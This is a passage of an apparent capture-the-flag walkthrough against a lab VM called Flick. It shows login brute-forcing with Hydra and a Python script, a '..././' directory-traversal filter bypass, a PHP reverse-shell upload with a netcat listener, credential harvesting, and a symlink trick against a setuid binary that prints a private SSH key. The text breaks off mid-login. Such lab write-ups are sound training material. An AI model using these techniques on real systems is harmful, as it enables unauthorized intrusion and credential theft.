Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTVhCUVZteFZlRll5VGtsalJtaG9UVmhDVVZacVFtRlpWMDE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFpla3BIVmpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwbGEzQklWbXBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXYzFWclpGaGlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2RGSnJaRmhpVjNoVVdWUk9RMWRHV25STlZFSlhUV3hHTlZaWE5VOVhSMHBJVld4c1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFUydGFiRlpzV2xwWGExcDNZa2RGZWxGcmJGZFdNMEpJ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xTV0doVVYwZDRWRmxyWkc5V01XeHlXa1JTVmsxWGVGWldSM2hQWVZVeFYyTklhRlppV0dneldXdGFZV1JHVm5OaFJuQlhWbXhXTkZaclVrZFRNazV5VFZaV1YySkdXbkJWYWtwdllqRmtWMVp0Um10TlJGWjVWRlpXVjJGSFZuRlJWR3M5'
b'Vm1wS01GWXlSWGhUV0d4VFlrZG9WMWxyWkRSVk1XeFZWR3hPYVUxV2NIaFZiWGgzWWtaYWRGVnNhRnBXVmxWNFZrUkdTMk5yTVZWV2JGWnBVakpvYjFkV1ZtRmtNRFZ5VFZWV2FHVnFRVGs9'
b'VmpKMFYyRXhTWGxTYkdoV1lrZDRVMWxVVGxOaU1WcHhVbXh3YkZadFVsaFpWVlV4VkRGS2NrMVVWbFZpUjJob1dWVmFkMDVyTVVWaGVqQTk='
b'VjJ0V2ExSXlSbGhWYkd4U1lUTlNiMVpxUmxwbFZtUlhZVVUxVDFKck1UVlViR2hoWVVad05rMUVhejA9'
b'V2tWa1IyRlhVbGxSYTNSb1ZqRlplVmRXYUU1T1JrMTVUbGhhYUZwNk1Eaz0='
b'WkVkR2FXUllRa3RoVjFZeVdWaE5ORk15TlhaaFp6MDk='
b'ZEdGaWRYQkthV1YyWVhNNFMyNXZhZz09'
b'dGFidXBKaWV2YXM4S25vag=='
b'tabupJievas8Knoj'
b'\xb5\xa6\xee\xa4\x98\x9e\xbd\xab<*z#'
                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ 

Copy the hidden message and paste it on the admin server which we previously tried to access using Netcat. 

┌──(kali㉿kali)-[~]
└─$ nc 192.168.95.117 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> tabupJievas8Knoj
OK: tabupJievas8Knoj

Accepted! The door should be open now :poolparty:

>

Upon attempting, we find out that the password is accepted, and the door is now open.

The concept of a " door " here is similar to a new accessible pathway or entry point. 

Now, We should perform another network scan to observe any changes.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 192.168.95.117
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-09 11:28 EDT
Nmap scan report for 192.168.95.117
Host is up (0.0016s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 04d08d4dee8730e7608263d3a86e4bac (DSA)
|   2048 64eca99b0bc011d40863cf83e1db239a (RSA)
|_  256 2d3293ce0e543f84ee01c7c0bb68e202 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Flick-a-Photo
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds
                                                                                                                                 
┌──(kali㉿kali)-[~]
└─$ 


Web Enumeration

After scanning the network again, we have identified a fresh accessible port.

  • The port 80/TCP is active, indicating an HTTP service is operational. This suggests that a website with potential vulnerabilities is being hosted.

Now, let's explore the website content on Port 80 . To do this, you can use a web browser of your preference and enter the target's IP address in the URL bar at the top of the browser window.

Upon visiting the website, we discover a collection of cat pictures. Let’s examine one of the cat images. 

If you pay attention to the URL structure, you'll notice the image's location after the IP address.

Let's explore if we can access different paths using the URL. 

I'll remove the image ID from the URL segments. 

Oh no! Something didn't work as expected. 

Let's try removing the "view" segment instead, and we find ourselves encountering an "Index of /image". 

Regrettably, we're unable to access any of the directories. After investigating the website, I discovered a "Login" button that seems to offer access to the server. 

Let me click on "Login to add a photo," which brought up a form requesting, a username and password. 

Notably, a hint was provided on the side. This implies that the username, " demo " and the password are assigned to the first user. 

Let’s try it. 

However, my attempt to log in using these credentials was unsuccessful, resulting, in " The combination of username and password is incorrect ."


Login Credentials Retrieval through Bruteforcing

Let’s try to brute-force the login form using Hydra.  

Before that, I needed to intercept the data exchanged during a login attempt made with the " demo " username and password. I utilized BurpSuite for this purpose. 

Launch BurpSuite, and Turn on the Proxy through Foxy Proxy :

Enable interception within the Proxy tab of the BurpSuite program:

This enabled me to capture and analyze the login data.

To perform a brute-force attack on the login form, we require specific login data: the cookie , username , and password data obtained through the interception process in Burp Suite. 

Let's refresh the URL, causing it to trigger Burp Suite. Subsequently, the data should be sent to interception mode. 

This information is crucial for carrying out the attack effectively.

Now, Open a new terminal and run the following command:

┌──(kali㉿kali)-[~]
└─$ hydra -l demo -P "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt" http-post-form://192.168.95.117/login/login:"_token=^USER^&username=^USER^&password=^PASS^:S=302"

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-09 11:54:28
[DATA] max 16 tasks per 1 server, overall 16 tasks, 220559 login tries (l:1/p:220559), ~13785 tries per task
[DATA] attacking http-post-form://192.168.95.117:80/login/login:_token=^USER^&username=^USER^&password=^PASS^:S=302
[80][http-post-form] host: 192.168.95.117   login: demo   password: # Suite 300, San Francisco, California, 94105, USA.
[80][http-post-form] host: 192.168.95.117   login: demo   password: # license, visit http://creativecommons.org/licenses/by-sa/3.0/ 
[80][http-post-form] host: 192.168.95.117   login: demo   password: #
[80][http-post-form] host: 192.168.95.117   login: demo   password: # directory-list-2.3-medium.txt
[80][http-post-form] host: 192.168.95.117   login: demo   password: #
[80][http-post-form] host: 192.168.95.117   login: demo   password: images
[80][http-post-form] host: 192.168.95.117   login: demo   password: # or send a letter to Creative Commons, 171 Second Street, 
[80][http-post-form] host: 192.168.95.117   login: demo   password: # Attribution-Share Alike 3.0 License. To view a copy of this 
[80][http-post-form] host: 192.168.95.117   login: demo   password: #
[80][http-post-form] host: 192.168.95.117   login: demo   password: # This work is licensed under the Creative Commons 
[80][http-post-form] host: 192.168.95.117   login: demo   password: #
[80][http-post-form] host: 192.168.95.117   login: demo   password: # on atleast 2 different hosts
[80][http-post-form] host: 192.168.95.117   login: demo   password: # Priority ordered case sensative list, where entries were found                                                                                                                              
[80][http-post-form] host: 192.168.95.117   login: demo
[80][http-post-form] host: 192.168.95.117   login: demo   password: index
[80][http-post-form] host: 192.168.95.117   login: demo   password: # Copyright 2007 James Fisher
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-09 11:54:32
                                                                                                                                 
┌──(kali㉿kali)-[~]
└─$ 

However, I encountered an issue during this process. Hydra was successfully following the 302 redirects, but it wasn't keeping the session cookie. Consequently, every login attempt was falsely recognized as successful since the failure message wasn't present on the redirected page.

To solve this issue, I created a Python program. 

import requests

lines = tuple(open('your_wordlist.txt', 'r'))

for line in lines:
    r = requests.post('your_target_url_here', data={
        "username": "demo",
        "password": "demo%s" % line.strip()
        }, allow_redirects=False)
    if 'location' in r.headers and r.headers['location'] != 'your_login_page_url_here':
        print("Password: demo%s" % line.strip())
        break

  1. This program utilizes the "requests" library, allowing it to send HTTP requests to web servers.
  2. Then, the program reads through a wordlist line by line and constructs a POST request to the URL. 
  3. It supplies form data containing a username ("demo") and combines "demo" with the current word from the list to form the password. 
  4. The parameter "allow_redirects" is set to False to prevent automatic redirection after the request. 
  5. The server communication method is set to POST.
  6. The program then examines the "location" header in the HTTP response. 
  7. This header usually contains the URL to which the server is directing. 
  8. If the "location" header isn't the same, it signifies that the login attempt was successful. 
  9. The program prints the guessed password, (which is "demo" followed by the current word from the list), and concludes the loop using the break statement.

After saving the program, it can be executed using the "python3" command. 

┌──(kali㉿kali)-[~]
└─$ python3 bruteforce.py 

Upon execution, the program systematically goes through the wordlist, attempting logins, until it successfully finds the correct password.

Password: demo123
                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ 

We have successfully obtained the password using the Python program. Now, let's attempt to log in again.

Once logged in, I noticed that each image has a ' Download ' link. Upon clicking on a link, initiates the download of the image.

If you closely examine the URL format for downloading, you might realize that it appears susceptible to Local File Inclusion (LFI)

To explore this, I copied the download link and opened it in a new browser tab. 

I decided to test LFI by inserting an arbitrary path into the ' filename ' parameter.

However, this resulted in an error, indicating that the file to download was invalid. I then attempted directory traversal.

http://192.168.95.117/image/download?filename=../../etc/passwd

http://192.168.95.117/image/download?filename=../../../etc/passwd

http://192.168.95.117/image/download?filename=../../../../../etc/passwd

All these requests yielded the same response: Oops! Looks like you requested an invalid file to download!

/etc/passwd is not valid.

It became clear that the system was removing instances of the string ' ../ ' from the ' filename ' parameter. Instead of attempting to navigate to higher directories, I decided to retrieve the source code for files in the current directory. 

For this purpose, I used Burp Suite to intercept the content and analyze the changes that occurred during the LFI testing. 

Let's refresh the URL, causing it to trigger Burp Suite. Subsequently, the data should be sent to interception mode and from here send that data to the repeater. 

Let me add " ./index.php " in Burpsuite Repeater to look at the changes.

This approach provided me with the source code for the ' index.php ' file in the web root, confirming that the framework in use is Laravel .


Comprehensive Web Path Enumeration in Laravel Application

If you have read this article, then you will know the basic directories in the Laravel web framework, if you have not yet read it, kindly read it before proceeding further.

Mastering Web Paths in Laravel

This guide explores how to effectively manage and use web paths in Laravel, a popular PHP framework. Understanding web paths is essential for building clean, maintainable, and efficient web applications using Laravel.


Given my familiarity with Laravel's directory structure from the article, I recalled that the web root for Laravel applications is within a directory called '/public'. All application logic exists in directories above this one.

With the URL path now altered, the next step is sending the data. 

However, upon inspecting the response, it becomes evident that the requested data is deemed invalid.

After a bit of thinking, I realized that if the system was simply replacing the '../' string, I could potentially exploit this behavior. I aimed to include '../' in the output by crafting a string with '..././'. This way, when the '../' was replaced, it would leave '../' within the string. Depending on how the replacement was implemented, this could enable directory traversal and arbitrary file inclusion.

To test this, I requested the following URL on Burpsuite. 

..././public/index.php

I confirmed that the content matched what I had previously retrieved when using ' ./index.php ' as the filename.

This successful test verified my assumption, and I achieved the same file inclusion result.


/composer.json

In the Laravel project, there's a vital file named "/composer.json" situated in the same directory as the public directory. 

This file contains essential information regarding the project's dependencies and configurations needed for Composer to work effectively. 

Upon quick examination, I determined that the running version of the Laravel Framework is 4.1 .

Focusing on the " autoload " section, this part guides Laravel on how to automatically load classes within your application. You don't need to manually include these classes using "require" statements.

Under the " classmap ," you'll find classes related to various components of the application. When you use any of these classes in your code, Laravel's autoloader will include the necessary files without you having to explicitly state "require" statements.

As we're aware, the "/app" directory is the heart of the Laravel application. 

It contains core application elements like Controllers, Models, and Services.

In Laravel, the "/routes.php" file serves to define your application's URL routes and link them to specific controller methods.

This organization aids in structuring the application's functions and logic neatly, facilitating easier management and development. 

It's important to note that in Laravel 5 or higher, route definitions are shifted to the "/routes" directory.

 

/app/controllers/SessionController.php

Let’s try to attempt to access the controllers, which reside in the "/app/controllers" directory. Alter the URL path to lead to " SessionController.php " located within the controllers' directory.

The standout detail is the fake SQL injection (SQLI) error . However, due to a type-safe comparison against FALSE, it appears challenging to exploit.


/app/controllers/UploadController.php

We're aiming to retrieve the contents of the " UploadController.php " initially.

Interestingly, there seems to be no restriction on the type of file uploaded. 

To test our assumption, Our test revolves around trying to upload a php-reverse-shell directly, bypassing the ' image/download ' route.

Start by clicking on " Upload a photo ." 

Our goal here is to upload a PHP file that contains a reverse shell. 

So, open a new terminal to perform these steps.

First, locate the reverse-shell PHP file. Once located, copy it to your Home directory.

┌──(kali㉿kali)-[~]
└─$ locate php-reverse-shell     # Locate the reverse-shell PHP file
/home/kali/.local/share/Trash/files/php-reverse-shell.php
/home/kali/.local/share/Trash/info/php-reverse-shell.php.trashinfo
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php

┌──(kali㉿kali)-[~]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .         # Copy to /home/kali directory

┌──(kali㉿kali)-[~]
└─$ nano php-reverse-shell           # To Modify the Listening IP 

Let me modify the PHP file to include my listening IP address. 

If you're unsure about your Listening IP address, you can use the " ifconfig " command to confirm it. Next, we have to set up a listener on our machine to listen on Port 1234 .

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ... 

Now, let me Upload the modified PHP file through the website's upload functionality. 

Upon uploading, the website will automatically redirect you to the Home page. After uploading the PHP file, you can directly access it by browsing its path within the ' images ' directory on the website. I notice an unfamiliar file on the second page, be aware that I can't directly open it. 

So my only option is to download it. Proceed to download the file. 

Upon inspection, I realize that the downloaded file appears to be a JPEG image, but it doesn't display any image content. 

However, this file is likely the one I uploaded, as the website automatically saved it in JPEG format. To confirm its true format, you can open a terminal from here, and run the following command on the terminal:

┌──(kali㉿kali)-[~/Downloads]
└─$ file image\(1\).jpg
image(1).jpg: PHP script, ASCII text                                                                                                

This reveals that the file is in ASCII text format and identified as a PHP script. It means I can use a text editor like "nano" to open and explore its content.

┌──(kali㉿kali)-[~/Downloads]
└─$ nano image\(1\).jpg

The process surprisingly turns out to be relatively straightforward.


/app/controllers/ViewController.php

Let's check out the logic in  ViewController.php

After analyzing the logic in the " ViewController ," we confirm the replacement of the ' ../ ' string in the target filename. Unfortunately, the file is read using " file_get_contents " instead of being included. This means we can't exploit it to execute arbitrary PHP code.


/app/controllers/HomeController.php

For a more comprehensive perspective, we delve into the " HomeController.php " component.

Nothing noteworthy is found in these sections.


/app/config/database.php

Lastly, I explore the database configuration file. 

The '/config' files define settings and options for different aspects of the web application. Please note that these details can vary based on the version. In Laravel 5, configuration files are stored in a separate directory, while in Laravel 4.1, the configuration file is within the "/app" directory.

Let’s visit it.

Examining the database configuration file reveals credentials, including an OLD SQLITE database definition. 


/app/database/production.sqlite

Given the obsolescence of SQLite 2 and below on modern systems, downloading it is futile. Instead, I attempt to acquire the database credentials online, and extract the username and password from Burp Suite, directly from the response side. 

Efforts to copy a shorter portion of the data have also met with limited success. Although we can't directly copy the complete text, we do have the option to copy them individually, one at a time.

robin JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjad1
james scujittyukIjwip0zicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5
dean  FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA

After copying each credential, I gather three sets of credentials. Now that we have the username and password, we can use them to access the server through the SSH service .


Foothold

Now that we have three sets of usernames and passwords, let's try to attempt to log in to the server one by one.

Open a terminal and use the SSH command with the first username associated with the server's IP address. 

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
.............
<SNIP>
.............

 .o88o. oooo   o8o            oooo        
 888 `" `888   `"'            `888        
o888oo   888  oooo   .ooooo.   888  oooo  
 888     888  `888  d88' `"Y8  888 .8P'   
 888     888   888  888        888888.    
 888     888   888  888   .o8  888 `88b.  
o888o   o888o o888o `Y8bod8P' o888o o888o 
                                          

[email protected]'s password: 

Then, provide the password.

[email protected]'s password: JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjad1
[email protected]'s password: 

Unfortunately, the first username-password combination didn't grant us access. Moving on to the second one. 

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
...................
<SNIP>
...................

 .o88o. oooo   o8o            oooo        
 888 `" `888   `"'            `888        
o888oo   888  oooo   .ooooo.   888  oooo  
 888     888  `888  d88' `"Y8  888 .8P'   
 888     888   888  888        888888.    
 888     888   888  888   .o8  888 `88b.  
o888o   o888o o888o `Y8bod8P' o888o o888o 
                                          

[email protected]'s password:  scujittyukIjwip0zicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5
Permission denied, please try again.

But this one also didn't work. Let's proceed with the third set. 

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
..................
<SNIP>
..................

 .o88o. oooo   o8o            oooo        
 888 `" `888   `"'            `888        
o888oo   888  oooo   .ooooo.   888  oooo  
 888     888  `888  d88' `"Y8  888 .8P'   
 888     888   888  888        888888.    
 888     888   888  888   .o8  888 `88b.  
o888o   o888o o888o `Y8bod8P' o888o o888o 
                                          
[email protected]'s password: 
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Wed Aug  9 22:37:12 SAST 2023

  System load:  0.0               Processes:              88
  Usage of /:   35.8% of 6.99GB   Users logged in:        0
  Memory usage: 54%               IP address for eth0:    192.168.95.117
  Swap usage:   0%                IP address for docker0: 172.17.42.1

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Wed Aug  9 22:30:12 2023 from 192.168.95.102
dean@flick:~$

Success! We've gained access to the server using the third set of credentials. Now, let's try to locate the user flag.

dean@flick:~$ ls -al
total 44
drwxr-xr-x 3 dean  dean  4096 Aug  9 22:37 .
drwxr-xr-x 4 root  root  4096 Aug  2  2014 ..
-rw------- 1 dean  dean   388 Aug  9 22:36 .bash_history
-rw-r--r-- 1 dean  dean   220 Aug  2  2014 .bash_logout
-rw-r--r-- 1 dean  dean  3486 Aug  2  2014 .bashrc
drwx------ 2 dean  dean  4096 Aug  2  2014 .cache
-rw-r--r-- 1 root  root  1250 Aug  4  2014 message.txt
-rw-r--r-- 1 dean  dean   675 Aug  2  2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug  4  2014 read_docker
dean@flick:~$

Upon checking the files and directories, I noticed that there isn't a flag file present. However, there is a message file that seems to contain our flag. Let’s view its contents using the " cat " command.

dean@flick:~$ cat message.txt 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi Dean,

I will be away on leave for the next few weeks. I have asked the admin guys to
write a quick script that will allow you to read my .dockerfile for flick-
a-photo so that you can continue working in my absense.

The .dockerfile is in my home, so the path for the script will be something like
/home/robin/flick-dev/

Please call me if you have any troubles!

- --
Ciao
Robin
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJT32ZsAAoJENRCTh/agc2DTNIP/0+ut1jWzk7VgJlT6tsGB0Ah
yi24i2b+JAVtINzCNgJ+rXUStaAEudTvJDF28b/wZCaFVFoNJ8Q30J03FXo4SRnA
ZW6HZZIGEKdlD10CcXsQrLMRmWZlBDQnCm4+EMOvavS1uU9gVvcaYhnow6uwZlwR
enf71LvtS1h0+PrFgSIoItBI4/lx7BiYY9o3hJyaQWkmAZsZLWQpJtROe8wsxb1l
9o4jCJrADeJBsYM+xLExsXaEobHfKtRtsM+eipHXIWIH+l+xTi8Y1/XIlgEHCelU
jUg+Hswq6SEch+1T5B+9EPoeiLT8Oi2Rc9QePSZ3n0fe4f3WJ47lEYGLLEUrKNG/
AFLSPnxHTVpHNO72KJSae0cG+jpj1OKf3ErjdTk1PMJy75ntQCrgtnGnp9xvpk0b
0xg6cESLGNkrqDGopsN/mgi6+2WKtUuO5ycwVXFImY3XYl+QVZgd/Ntpu4ZjyZUT
lxqCAk/G1s43s+ySFKSoHZ8c/CuOKTsyn6uwI3NxBZPD04xfzoc0/R/UpIpUmneK
q9LddBQK4vxPab8i4GNDiMp+KXyfByO864PtKQnCRkGQewanxoN0lmjB/0eKhkmf
Yer1sBmumWjjxR8TBY3cVRMH93zpIIwqxRNOG6bnnSVzzza5DJuNssppCmXLOUL9
nZAuFXkGFu6cMMD4rDXQ
=2moZ
-----END PGP SIGNATURE-----
dean@flick:~$

This message seems to be like a Hint, where there is a “ .dockerfile ”, which is present in the same directory. This “ .dockerfile ” seems to provide access permissions to the directories owned by the user Robin. The message even includes an example of a directory path.

Taking this hint into consideration, let's attempt to access the mentioned file. 

dean@flick:~$ ./read_docker /home/robin/flick-dev/
# Flick-a-photo dev env                                                                                                          
RUN apt-get update && apt-get install -y php5 libapache2-mod-php5 php5-mysql php5-cli && apt-get clean && rm -rf /var/lib/apt/lists/*                                                                                                                             
                                                                                                                                 
CMD ["/usr/sbin/apache2", "-D", "FOREGROUND"]                                                                                    
dean@flick:~$

Successfully, we've been able to view the content within the file. Now, let's try listing the files and directories within the user robin using the "ls" command. 

dean@flick:~$ ls -al /home/robin/                                                                                                
ls: cannot open directory /home/robin/: Permission denied                                                                        
dean@flick:~$

Unfortunately, we lack the necessary permissions to access the files directly. Our only option is to use the “ ./read_docker ”.

It appears that the user " Robin " might possess elevated privileges. Our next step is to discover a method to escalate our privileges and switch to the user, Robin.


Exploitation

As we lack the necessary password for the user, Robin, an alternative route is to obtain the SSH keys.


Exploiting SSH Keys for Unauthorized Acces

Within the "/.ssh" directory, there are two most important files are present, they are:

  • authorized_keys
  • id_rsa

Let’s find a way to take a look at these contents. To inspect their contents, we will establish symbolic links to these files owned by the user, Robin. This is accomplished using the " ln " command. 

Let's start by linking the "authorized_keys" file to a new file named, Dockerfile

dean@flick:~$ ln -s /home/robin/.ssh/authorized_keys Dockerfile
dean@flick:~$

Where, 

  • -s is used for symbolic links. 

You can verify this, using the ls -al command.

dean@flick:~$ ls -al                                                                                                             
total 44                                                                                                                         
drwxr-xr-x 3 dean  dean  4096 Aug  9 22:40 .                                                                                     
drwxr-xr-x 4 root  root  4096 Aug  2  2014 ..                                                                                    
-rw------- 1 dean  dean   388 Aug  9 22:36 .bash_history                                                                         
-rw-r--r-- 1 dean  dean   220 Aug  2  2014 .bash_logout                                                                          
-rw-r--r-- 1 dean  dean  3486 Aug  2  2014 .bashrc                                                                               
drwx------ 2 dean  dean  4096 Aug  2  2014 .cache
lrwxrwxrwx 1 dean  dean    32 Aug  9 22:40 Dockerfile -> /home/robin/.ssh/authorized_keys
-rw-r--r-- 1 root  root  1250 Aug  4  2014 message.txt
-rw-r--r-- 1 dean  dean   675 Aug  2  2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug  4  2014 read_docker
dean@flick:~$

Now, let me read the file content using the " ./read_docker " command.

dean@flick:~$ ./read_docker .
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCW//S4p0cVDihPToqnfKDS0vV8VWXgf6JLVQ6p2zQeuAEJNLAQLBXCGsgUlr+7kU48ay3y3fkIqjhVZfco0dcU1W1RdZ5AWl7+sH/TCL6TwTxa1eIUGMuIU6pMMvSSBdGhDNQ+ViDT4sBejkRsyr6sHZmAwlPG6ckVXab64q1tllG/NTpLUWPpceH9TQTrx3qxn/7LVSFIktoVhRAyR8u2PE9rXuw9n6TAHVHim6FVOmt9A6QKKd9bTWi3ZGPYcsxHkKmADbx2bHDxbrDQwa1e6tN6CPXJ0U5OAHX+TheledIY0713YCVVH82woMC5gp2BEYUWH3WcZlOXWnh6bjxj robin@flick                                                                                                                            
dean@flick:~$

However, it's possible that the authorized key might not be effective. Let's also examine the contents of " id_rsa " using the same approach. 

dean@flick:~$ rm -rf Dockerfile             # Before Proceeding It is essential to remove previously linked file                                                                                     
dean@flick:~$ ln -s /home/robin/.ssh/id_rsa Dockerfile                                                
dean@flick:~$ ls -al                                                                                                             
total 44                                                                                                                         
drwxr-xr-x 3 dean  dean  4096 Aug  9 22:41 .                                                                                     
drwxr-xr-x 4 root  root  4096 Aug  2  2014 ..                                                                                    
-rw------- 1 dean  dean   388 Aug  9 22:36 .bash_history                                                                         
-rw-r--r-- 1 dean  dean   220 Aug  2  2014 .bash_logout                                                                          
-rw-r--r-- 1 dean  dean  3486 Aug  2  2014 .bashrc                                                                               
drwx------ 2 dean  dean  4096 Aug  2  2014 .cache                                                                                
lrwxrwxrwx 1 dean  dean    23 Aug  9 22:41 Dockerfile -> /home/robin/.ssh/id_rsa                                                 
-rw-r--r-- 1 root  root  1250 Aug  4  2014 message.txt                                                                           
-rw-r--r-- 1 dean  dean   675 Aug  2  2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug  4  2014 read_docker
dean@flick:~$

dean@flick:~$ ./read_docker .
-----BEGIN RSA PRIVATE KEY-----                                                                                                  
MIIEowIBAAKCAQEAlv/0uKdHFQ4oT06Kp3yg0tL1fFVl4H+iS1UOqds0HrgBCTSw                                                                 
ECwVwhrIFJa/u5FOPGst8t35CKo4VWX3KNHXFNVtUXWeQFpe/rB/0wi+k8E8WtXi                                                                 
FBjLiFOqTDL0kgXRoQzUPlYg0+LAXo5EbMq+rB2ZgMJTxunJFV2m+uKtbZZRvzU6                                                                 
S1Fj6XHh/U0E68d6sZ/+y1UhSJLaFYUQMkfLtjxPa17sPZ+kwB1R4puhVTprfQOk                                                                 
CinfW01ot2Rj2HLMR5CpgA28dmxw8W6w0MGtXurTegj1ydFOTgB1/k4XpXnSGNO9                                                                 
d2AlVR/NsKDAuYKdgRGFFh91nGZTl1p4em48YwIDAQABAoIBADI3bwhVwSL0cV1m                                                                 
jmAC520VcURnFhlh+PQ6lkTQvHWW1elc10yZjKbfxzhppdvYB/+52S8SuPYzvcZQ                                                                 
wbCWkIPCMrfLeNSH+V2UDv58wvxaYBsJVEVAtbdhs5nhvEovmzaHELKmbAZrO3R2                                                                 
tbTEfEK7GUij176oExKC8bwv1GND/qQBwLtEJj/YVJSsdvrwroCde+/oJHJ76ix4                                                                 
Ty8sY5rhKYih875Gx+7IZNPSDn45RsnlORm8fd5EGLML6Vm3iLfwkHIxRdj9DFoJ                                                                 
wJcPX7ZWTsmyJLwoHe3XKklz2KW185hIr9M2blMgrPC2ZuTnvBXmEWuy86+xxAB0                                                                 
mFXYMdkCgYEAx6yab3huUTgTwReaVpysUEqy4c5nBLKqs6eRjVyC9jchQfOqo5AQ                                                                 
l8bd6Xdrk0lvXnVkZK0vw2zwqlk8N/vnZjfWnCa4unnv2CZXS9DLaeU6gRgRQFBI                                                                 
JB+zHyhus+ill4aWHitcEXiBEjUHx4roC7Al/+tr//cjwUCwlHk75F0CgYEAwZhZ                                                                 
gBjAo9X+/oFmYlgVebfR3kLCD4pVPMz+HyGCyjSj0+ddsHkYiHBhstBtHh9vU+Pn                                                                 
JMhrtR9yzXukuyQr/ns1mhEQOUtTaXrsy/1FyRBaISrtcyGAruu5yWubT0gXk2Dq                                                                 
rwyb6M6MbnwEMZr2mSBU5l27cTKypFqgcA58l78CgYAWM5vsXxCtGTYhFzXDAaKr                                                                 
PtMLBn8v54nRdgVaGXo6VEDva1+C1kbyCVutVOjyNI0cjKMACr2v1hIgbtGiS/Eb                                                                 
zYOgUzHhEiPX/dNhC7NCcAmERx/L7eFHmvq4sS81891NrtpMOnf/PU3kr17REiHh                                                                 
AtIG1a9pg5pHJ6E6sQw2xQKBgHXeqm+BopieDFkstAeglcK8Fr16a+lGUktojDis
EJPIpQ65yaNOt48qzXEv0aALh57OHceZd2qZsS5G369JgLe6kJIzXWtk325Td6Vj
mX+nwxh6qIP2nADkaQOnzrHgtOn4kiruRGbki0AhpfQF46qrssVnwF5Vfcrvmstf
JqDFAoGBAI9KJamhco8BBka0PUWgJ3R2ZqE1viTvyME1G25h7tJb17cIeB/PeTS1
Q9KMFl61gpl0J4rJEIakeGpXuehwYAzNBv7n6yr8CNDNkET/cVhp+LCmbS91FwAK
VP0mqDppzOZ04B9FQD8Af6kUzxzGFH8tAN5SNYSW88I9Z8lVpfkn
-----END RSA PRIVATE KEY-----
dean@flick:~$

This file contains the private key necessary for accessing the user, Robin. To proceed, we will copy these contents into the " id_rsa " file in the same directory and then restrict its permissions using " chmod +600 ".

dean@flick:~$ ./read_docker . > id_rsa
dean@flick:~$ ls -al id_rsa                                                                                                             
-rw-rw-r-- 1 dean  dean  1675 Aug  9 22:44 id_rsa                                                                                                                                                           
dean@flick:~$ chmod 600 id_rsa                                                                                                   
dean@flick:~$ ls -al id_rsa                                                                                           
-rw------- 1 dean dean 1675 Aug  9 22:44 id_rsa                                                                                  
dean@flick:~$

With the setup complete, we can use the SSH command to log in as the user Robin. 

dean@flick:~$ ssh -i id_rsa [email protected]                                                                                      
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.                                                           
ECDSA key fingerprint is 2d:32:93:ce:0e:54:3f:84:ee:01:c7:c0:bb:68:e2:02.                                                        
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.                                                       
                                                                                                                                 
\x56\x6d\x30\x77\x64\x32\x51\x79\x55\x58\x6c\x56\x57\x47\x78\x57\x56\x30\x64\x34                                                 
